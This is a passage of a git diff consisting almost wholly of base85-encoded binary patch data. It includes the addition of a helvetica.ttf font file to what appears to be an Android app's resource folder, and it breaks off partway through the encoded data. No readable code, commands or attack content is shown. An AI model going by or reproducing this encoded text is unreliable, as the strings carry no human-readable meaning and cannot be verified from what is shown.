zAx&8bZjVq>wwc`==VR0|j(uT0hrQO9iX=L1jbIWu{y;AiF*Jf{<+=kE+ey2j>0B_a z6Oj5n=K>}cAR~Doer*>a3qAqcFpTZ-?UDu&#E&B!F-%e(pCt87k6WK`uCe~h;T8emn@a95aS8N|%XT6mO9(1`!u zf}HaaQfVBTFsNueR2Xl5aHOmM*?Z{t^(#R#Lt5`nA+o@}AZ8l3(R&3kFS4s5XXl|m z@pqhJ1e}OeedoSL)JDBr(g7;+5>PkpiBl!hJzxj-3VT2-SjR$Zq0zDASM+e4n2h7y zvk*M^?DD_OuYuG2_?njw<)%%4Y>yeKu|PrR-4miSssg7N!YplzR7neol!=z@qbtlg z?^_53gt%s)4K8!sXQD$gnbh-3f?C4%9kfE6iN@` zNH!0iAgThl_R=X_Ph1>&UxzP+rf@9Z>O7S=aZa+7DUmUgW$jl%P5!T~bRSNR8)NxewnQ&t}p% zt-6pnM2d7@dFk$cig!GtDRi5PgIv{TRQ=8ajuJ+O#D6>+`6`g8&N!cfDJWTMO1WVW zjRhPje@JF@je#0$GRO6A>C}`}8f8tUqoSoKlFF8S277&KBP1{#pGs5 z4`q@8WHND%JV_^LGiO-l;Y z<{-z@8LN`5{8;TF`#I9jq%PQ!w7_!&&9wGxImUi*=Uaxn#}*81%%$QvQCg2}acP$x zr$uIW7y{l@w!z0cvy;x6^CqXXchmR8TRHnu6lTGyzL8 zFR^Q(oM33Wk5|E>ocZtW2Q8ATGKJ3S3veiEt2^>r;<}i26zO24D_>(-;fBPE`ABVcFe8S};ltg1=*s68l*t7xrq+iRlS-EFe`ZxxQ+%e57vJ|~ zTp2Up&(|;@kqNxG726+$sYNJXAyl zxvfrjNRb-coms5c!7=z|(EQ;X+IFqA8{wCu#u{68!R627mN9ll1~;C$$A?A-ljqKc z+k{(=3zqUz`rxqwYcZ##1t$WBM|o#r_6Tq}G1Z$?YNIAZ)E*MqF|9ThaxOw;x35Nb zO3az-7DLHeYK;0{01p z%ahfVby8Fm^oT`c5h`)!(X?QK=*9hGzHY_}zKvmEM9sVI#Nf1Dl=O57E@&Pu67X~C z`UJ*QtlFKIh@kxb)|-FooVR&%AcBP~*%v|5Ut(#%-8sY!1Jy)->w(SX`)O~%> zQeJjTu)H^q7?G`pQSebjOjBn99du$MQt9CMAt0v7)MzaO4?u&-&R`1I{!Bjv@T?VP z6S>4UWsMr|Sxrbc5aEKJLLB2o=Zkp3t(|eR+CQ7}(Pb^zezU)tl+|n$S9GiCgio9H z?N*U;46%X^Jz<09hDQS!IwC)lJsrS?TNDJ#a7tN={m7>Vp);Qnvd&s!VkDcIAhl2w z1+`s?EIMAvUI$6DeYK%e9Jm?8a_b7wA)ck!kpK;Sl%NZvt&0=xQ*3{rJdnXC$A zSb%2li?dsXV!ZXR|Bm%39AW$r_RLF2{D1mze`veD{djU~nC|-7ha{!<@X=O;a;%R> zW}`1fZ?dV#Pxb9*e(qFM+wZ>?!g3}a1RQ$qm<^3;U0j{E2+VZYQ?arAt*C8$N>F*Q z!x53@Yo%PL{BH3Z3afb_Vx@PkY+#S;>Icv;BCWOri&%RE zX)!xzN5NY3f$)1dEpE?{{T-uCM>~cJ3Z?Jo)v<8+gy}qCax4 zFk3VIotNV!?=q3wefLqkm5rZx6gCXAU8#g=73hrXqL*Q#;FO~XtCq`yf`c8FvUB3J zOTGRcuS8e0Jy&~P+BNE2-QKm4pfwR#fQdr34K`ZJ-1MPR1;V{mcX-rfK_PeI{MLPN z>2GSZlSq%Y`=s3)I6Mr-6M2c-V}f#8RWV?j=l#c~3SuczSYAj?B)ScYDxub;?4@%q zh}c?Im(o59r$-2?iTaV=B!pwcx?PslZqfPLy80jSK@rdo`m|qeXD}@;> z3(*gdXHW|m`sgA@`!AbBzhozUh0=`)t;rRWj1o}KRCoE+FQ3L{e6nb*TN@}Nf>@^d z-)%QVNHme4$Scw| z0#8cmabUB?7;60!m#xNcUZGzxJ!ohrEA;pBDYca%Y?DR`uQm4;Avf{?lrnDY*RN3@ z{DgHYlWydXU-^>?EfV$)1N@uv{b3QL!5FkL&u4{{T4+#GuV2BrJ^SXf1G)q5oURPd zWpz+Fow9e#+>pwH5i`?w|D$Av&JscGw~KR%TDnP{|}Yei0@l5-Ot~hFOhPXUJ~BDViA&bmBJ>kZT4yhq8^)}BF@mrYeDj}C2&BpTuad!cz_szbrD2qFWz-O`=O&C+e7tFCLsDu+kIuN-<1@sy2uO3=`Lbm!V3`momC zVicsWt#UFmdO9YXBZu$1MJ%SI*Pncn!L60Y!L9|^T&lT`>;Fni92!BBCwDUQ6y5)` zP74waB&SN=S+|I2;GEC&H!t0b%h`=;Nqtr-zk2G6z|~jK_^GElufD~zZPt`E-NqI{ z=_-^#NKi@erW?-EiTJR`!|3@277~kug;_0xAyKc7Ryi^Ma&&C)S~e{db}uR>V3>qK zpF>fjg$(Yfw>dl*3q;O>M*SYKOddGZP95^;BYf1=d^DeC~C3B+$~VPQT_FxWW^-8Nt{m&jMMs3tR1A^v`O zy&018eKX{yX%TkgKgs{2H8wXpVlh|B6`jV#BUm(lYy#$5&?m!mp`TnA@WtfHRf5L! zvpmm)wH75Cghz|n$l&XkEHpC98Yr~+J`$CbWuO;w-mY$D7=&Q$wR4d#_wL2OcWw9L?{hfmJL zF9X4g?lej&qO)6lXPZUqUcDGBN^ ztm%hk-0z!czCR8GW-tqmnbCPEw&`Ou4@oLTehVoE#!#3O%TD02 zEqS5tD`9lCR+-1u(}>B*Tcv3D8?7bzo3AA$RExhPg=D6$+nx0JF0m`o`dDh08>##N zT}eeVm>OGeHr4BNGu^?}mB)E74IL9bay%0KD6UAmtF`5-)SU&jlpr$5VWiayuQOwQ<^_NI#$mnR43x4WWZ7ih!f3!s^? z&>*$Ja_m`znSW2L+=7t7Pp>mnC98;5u|4W21y5n;ZNEsSfyf+eWxaWCC48UX7;@r4 z@*E;k9*A1vRIvEGt@cOSdM)B1zp$5z8fGUSG{m*oRf=~wYq}kE?>4Ns+UxUc z3%C?$a<7?`mmI7*o#2x5yL=y9s%2QHNKXIfB!&WK!3Uy29NLqG=g;Wk5g0=oLz8Zmu{Jwbf_pYJjcaA>3ORNHYGlxF?&;5 zXB3ykFJTR&e*UL^6&M*?pP?&xaU%3FiGSp>xW*) zJ3m>s)`d&v;qy;2T5 zYQS*s5)?8l@;#YLOM3Fi$lzi_QW8nyj|?rIPuZ?Esr}6+kp~>c_|ijTkQ_y%Y$|I3d%c11cDHRpP$T zfQX!0FwD-eyk&%hOTS$F1BIi4XYsQD-=vL9F$_*fkMISUHXHjtOsJLXWSQz_exF;I zSAU#Fs9rhMJf5ube6Qaqig&J5few5K5~p6XC;D&ra*({B-*Sxyx?|_oP_*i92i!MH zbg(_o?kmvVs2~kOH$&A`ZU%@sKnILdcw#m3bUMitd^Nsy!5YF!FBdQKT$eO%hU*Vsq0zngLTK%&lfWlGBH7MEK@Q^EW1gR08#_9TJo zsfZG^=m#K;po+*GbHk%xDqjOh_x;8zPAjOty4>2ami^JPf0r z>(&!2^qxXbsw+>HQ^rA12T`cJ96c|zJ(Q3CX_u>b&aY3bkp8UtLX#};PO=3$`?mk} zk@NYf0Tn|6^J+= z2So!E4tu-6cMkUFhn}$738RfcHu7)%>R7Fzu5Stf8SkLtxySubsBsp08{m!hf`?B& zZI2@L<=nPZ#t7Rb0{li`B9Em%Kwront?F*lZvbi}V6BE4B<*)ca&%A@xM*omTM;Mj znv`qRhjGdJnoXDP@^`%{CY#g9U=TV1Otm`FjjQ8{k*>HGU;Ou!X(1)6p!_{M706~|oIXI4KnZWJ6SpW& zws=UViR3t7={{^YEx8`ij~M^yJ9Uh$w&7TQ)9$GknXhshp|;2%{2>jN=FORNF>6qY zMW6`cUrV#^8|=mx?n2l}zc;YWho1N2M3P^ZoN`fIf10wflJN4=hr^snu8Tf!K$tOi zwUnyTzQ|NT0sdD0im&?fh^^7S!%Cp0stcSNfKWsIGtzDlJVAw4=bCy4WH_K3LxoM+ zVv`G&ms@^pO02?KK>07*UMv!lPb2lG|Aj@6RFUnK1@YHifXdCf_P98k5gjUpZFg~j5B&QzxB222n>!&(U`64f;(HhQ?}hG07LK%UcII>l-v&45Wdha?{25)G3YRmR@kYy}6tQ~NXXQ6rGlLFD zww6(ir93`ClDzK^G^KlbyqmHctc})UX&-)MR}N%i;Wz=8wFbT=zIr8I7cR8P#B{|_ z?_4W_W;5Z`qx3g=L+?ti+;P)!Oj*dIly-cb^)xxp94NBp9W2Depe+HJqzD+5iICV0v2CQAJ1CJ3{BV9ti$*#0#E%Ojg3d}>zMYufADiGe>2qy+b znE0f^oNy}8YJvD%QCtB%$>w=0S^B%CPR^y_!tSj|5^`5-X};MNCNB`kbsVOz0&662 z(70uMH+}n%ZvcHKwp`;82=Cunpymn#n?+t4#8tP8@2=vNZXZVxbIhIcDcp!s~XXN^jk z`Om`vjf(>%ZQVCD0dBC%ti#FpSsH2Vd?`3+_B*onN_g5(+>nDS?uU|dhKU6A>*{aN zB_4aRchKH; z?#)CLKQh?cyV|e?YK^k>EHajWLrVU76mjwrIBMK!Pf0pCt|pD!#?eT=n%xYR{3L;W zxMvst_v*88OOh5p@xBC)SoC$MeE&S-0|cvvPxA^#p8T!PeFou(NIU)rq&oyqF==M4Fe@aP_5q5_{)qQ> zh%e>&2+~|2hKCs?WCF2&HNrJXK?9Gcu#P0rEv#dstBrLp5pNsS44_vMp~QtNqM$2R~>&5_Y9utB1Wpl%RrZ9$2yZUo-@*LbMw<_-TTcq zUV2U4;AKXMA`FnNTx`8S3*^=05srIjP1F3f?#t`(L(BPv)@Iw=kExpLnp_}&UBXih znc1D=(&K0|A)0#L1{h;Tj1eSs{-zc|<_h4H03;)Ra*5yOH;o_47UdN(#wz)KT$F8b zVNODPy{u496QloB7knz;2=drS$yY4p5!ZQ+wkHQP#k zk`a=TX}5M^`l%6dS0LiA^O+0Ee9A-o4Y#Azm{D+uAC0ln0o3a}?#8uqipiIX`ovoi zQR)>upU;4NllwM0`uh$FXq*k1gPTi0-x?d^ZqZ^rJj{uQr7GqDM|ha2y;}h~#Cc?6 z^K9z!3c(JF>{`X-|LX0Cq5;4rv}7r*8?V$kRCgx;p>#J=_XJvzV9lpNruZn!n|#x9 zOmUWNTQ<^Pe=+OdXu>jgcJ^75gi>0HnYotBTe`lk-tZ#q`u6DvkbK&(wi}|5!7BPf zcriRL=LG3SK~3b4+}sS!;*S@;giy8J!`$wghCW>SlhAv(@?Tx4#myi$CV+u|kSsf` z>d0Df(OPR{ni92Wm7@#G!p4A{nWjXV8$jKx*6-73rMrTf%CWxR`{`R17N7nA4V~0M ze#2C;p(ii=ZJLyx_F9x$?PR^kc;t&Hi~k$=-dG~^rfPJ>yn15!zE`@DM)3BGT*NmX zJ~EcCzUO-rXo_6n)2cpuc;B+#r8kIQX|Xxp?cFaat?Az$pt$_^RcX`TrVSb*=+5$DR!|u~Qcxudv!D{r|=}iXnJ% ztq#eN&uJLh?d-U+ZeIW^6E2Z$|1Ng48%Q}_`XhEQ@NyoIiK z8ekaDNZ+_=?=;bhE$tYkduwAOi!}71CiPFt4Il>*w9+Xp zdAXNg+3(Uu?#X@XupyxBRRU}>d*4$jx zCV0(~A8=Yq{RMwteUgwOrQFvO+0ryt=g;f*#LU~CBn;TWgNhdGflg zK5#0L*vpDf5e>~A8py<}9A0u<(f)6=#V@5eBMsU0|3mS(U2_J43=yw|D+9Gj%BsJZCQ3(yF2lN=FHk_eUiA#b8t4mF$hSK+tzgK;G#DH`T-p0pDB$TIfX zqXvM$A^@$fB~GH&!x(m+za%dP4r1WAXCC~u#8oJrX2fnxrC_p>x=f1_VL=Sns*&f z*ecx47}awZ4WWjXzs)|w`-^HuR^-=4AFWXqTu4jpxvX0?H9yoUMbi>LQ>cJmPcC{G zZd5JWb4|lj<<3%{%XE>b7eUXHGVouxetr$e zTG*dNr1J3^)Dz_Z66!Y6C=GrRr=4gPN{V&y@~8_>I?sdndfSqMm!@D;DuxKL{6XZY(+*<#b)%vPhxAcHJj>t32S3cjgwvi2U0 z*FjGpNaX-&{V|_N&FBU)XkQSnNHlHD-G6;0B(l?4QDOJ!P6Kh!HF}3(jh(?iR=9p5 zp@-N>^gc{=L!(>JiFOgWr8a78hn&oldq1swmxt^!TaI8Bp?g%T!sEsVnSJv(!O=yM zKCrLMkk>l8_Wa@0sc(RT8*dVEKKiB~jfzutkx@;@mMtZA2sm~P-X`G6805mpZ)fqv zwfV0efBKCZ1uJCi5;V*|6^cG#$WE;z2F+yc#&0 z8-gMdJVlU?!W(UpKvdM`=vo}s)0MLIz0{U02&#IDEbhz))E!gWV!Ovv#0H!2hzHiU zKn6A_d6~flW=+NP{0%u3^!a_Vib(d{h+>PDV~ND28w%Z(s&4?q{C(iq=|Cy5`bkgc z8B;Ai{4ws%Q(k5rh%qoN7HrmZ!+U$TcwH{Y9J#SuG$|2=3+e~dX3AF0ln(pSC<``E ze@vnE2dK|k|6Pzj1Cb#+UUgeFJ5-lV9YZJeS8gtG^9mD(8f>go6y`H@&Ht^2g1V=_ zVag5yPx-s<^cn+J`^1JRz*r);k;q5*#kGkZxtXv?tY?8w#f@9HZ|C@egxJ}}CNE5W ztvE!4p0A>-2dC7zuimc*0RTjeZ5Ur{*{=A(Z`w3$6dqyE z8jLG5mY{jT3^6j4d@3w|dL!gu+W|1GCkJs-Wtm3t_4x`*Q@6#TfDb>@J?mM|S4&FE zGLKp>wy*n#b zAG(@WYAjI*1Q;@_L{xdwTqve{&92|6gjrhUhVAJ7DIGw_y{r##j|w z@cz6Me1ZLs2VP`GA{Wwc3R5RUaO}}sj-)bP{V`VMtzk7%O723tkoxhT4?UfBpA66) zFuTFzg&O!6%iZ(g-Y*Nlas@yzb!zZ^6f9ZzJwTkp4>PRfPWPCR+E7CdC$V!lbx{d1 zBtkX%@{|4p6pQPrq(0AOEb)IBi8(`NqSTf!9n4^_5$*AsF_Q%0~>iK#LVSWv- z!{}>NJf7s4vJu+_2|3iqZS7HT1Q3Tnsum!R^DnXf;p-)|jD$5l;(*aZTxrhZDsCNF zUbN_f~$9lzU z5?0(-$yUV|PEo>x#e=ovX&;IAbX?bBucQeZv}1qq?#U6&5i7aAAXTUivm`IWRCk^k zHAgOnXt9gn!|;N5uANx4*NSwclib+?HzbR>55dnou9z-Z-j}S*qxVMMtoT1@AxwIZ zRDVp%d?Y{6(k>9a?)r%}kdLzceoL3wwqYEy%V^`UTz1e!t>ty_P)r)ah7J5Xv+at{x5a|G=AE5EHJ8c#-1ySFgYwvN;Cn{Gx91Zm@y^aDHvz zVca)?aH{@9hTufA+vprT9TWs~e&BU9`u&`PYZe`1_u4;B8hj{QssrU$VnJ2)(O1rEZ?)|48ucdjq~yymzWZ6X77 z#w0QHJeVK}$;kc+?o&MamsJytTnU-9h5$eva(!3HAJ|K$w0A)s^fF2H{(QZ!VkiP>~FKnjC#C8Qn5cScTQF-jW> z)NV}#*q12U&b$DNA)~DW*b9#2#I8AK>Yv>acu<>^LvWtx47zto6uEnI3xNTan4XcL z99FkMiamI^lYIHV%4{|E4%@tY??LG*d&|`JP3m$HOM2pTs|6Sg_pCA=&UVgY<9t3H zDq%urS!=I`cjd#>6WEl$;xt7|kOCB?xqE#O6dciGOhi7B(}}fZ{$90_FMXHZz~esn zffY?o<-t$ZEdtIncmZ3V=N26VL|qu;>?m*uX1&xq{M!eH|Do@J;Rq8*-iC^w2BPXL z(1rn{x&Hr#U=$IFE?Lz?|9`5OhGcyFKk}*z!~F%yM=%J02WrunfJ~NMM`Gg0r&AI4 z{y+clwQ-CzFMUYIyM0UMTlz=Bk|$#km)zpR?L^j4Ry%)nNV)vd|LQ?F26mY6Mb-uy yGFOX5LKa?*pd2)YG_=1cuXo_31Fk=+{TS9V>F|4}Be@Tjg;3sQ&>Z!TiMl literal 0 HcmV?d00001 diff --git a/source code/apk src code v3/app/src/main/res/font/helvetica.ttf b/source code/apk src code v3/app/src/main/res/font/helvetica.ttf new file mode 100644 index 0000000000000000000000000000000000000000..4d9976104d31a3924f8bb09afc91d4517e735195 GIT binary patch literal 43956 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 